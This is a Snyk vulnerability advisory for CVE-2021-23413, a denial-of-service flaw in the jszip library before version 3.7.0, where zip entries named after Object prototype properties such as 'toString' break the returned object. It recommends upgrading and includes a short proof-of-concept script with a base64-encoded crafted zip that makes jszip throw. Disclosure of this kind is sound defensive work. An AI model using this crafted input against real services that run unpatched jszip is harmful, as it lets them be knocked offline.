MEDIUM

🔍 Search by package name or CVE

# Denial of Service (DoS)

Affecting jszip package, versions <3.7.0

---

**INTRODUCED: 18 APR 2021** CVE-2021-23413 ❓ CWE-400 ❓ ( FIRST ADDED BY SNYK )

Share ⌄

## Snyk CVSS

| | |
|---|---|
| Exploit Maturity | Proof of concept ❓ |
| Attack Complexity | Low ❓ |

See more

> NVD                                                       5.3 MEDIUM

### How to fix?

Upgrade `jszip` to version 3.7.0 or higher.

## Overview

jszip is a Create, read and edit .zip files with JavaScript http://stuartk.com/jszip

Affected versions of this package are vulnerable to Denial of Service (DoS). Crafting a new zip file with filenames set to Object prototype values (e.g `__proto__`, `toString`, etc) results in a returned object with a modified prototype instance.

## PoC

```
const jszip = require('jszip');
async function loadZip() { // this is a raw buffer of demo.zip containing 2 empty files: // - "file.txt" // - "toString"
const demoZip =
Buffer.from('UEsDBBQACAAIANS8kVIAAAAAAAAAAAAAAAAIACAAdG9TdHJpbmdVVA0AB3Bje2BmY3tgcGN7YHV4CwABBPUBAAAEFAAAAMAUEsHCAAAAAACAA
AAAAAAFBLAwQUAAgACADDvJFSAAAAAAAAAAAAAAAACAAgAGZpbGUudHh0VVQNAAdPY3tg4FJ7YE9je2B1eAsAAQT1AQAABBQAAAADAFBLBwgAAAAAAgAAAAAAA
ABQSwECFAMUAAgACADUvJFSAAAAAAIAAAAAAAAACAAgAAAAAAAAAApIEAAAAAdG9TdHJpbmdVVA0AB3Bje2BmY3tgcGN7YHV4CwABBPUBAAAEFAAAFBLAQIU
AxQACAAIAMO8kVIAAAAAgAAAAAAAAIACAAAAAAAAAAACkgVgAAABmaWxlLnR4dFVUDQAHT2N7YOBSe2BPY3tgdXgLAAEE9QEAAAQUAAAAUEsFBgAAAACAAI
ArAAAALAAAAAAA==', 'base64');

const zip = await jszip.loadAsync(demoZip); zip.files.toString(); // this will throw return zip; } loadZip();
```

## Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

## References

- GitHub Commit
- GitHub Issue
- GitHub PR

### Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

### 🔷 Snyk Learn

Learn about Denial of Service (DoS) vulnerabilities in an interactive lesson.

Start learning

| | |
|---|---|
| Snyk ID | SNYK-JS-JSZIP-1251497 |
| Published | 25 Jul 2021 |
| Disclosed | 18 Apr 2021 |
| Credit | Dave Holoway |

Report a new vulnerability     Found a mistake?

**PRODUCT**

Snyk Open Source

Snyk Code

Snyk Container

Snyk Infrastructure as Code

Test with Github

Test with CLI

**RESOURCES**

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs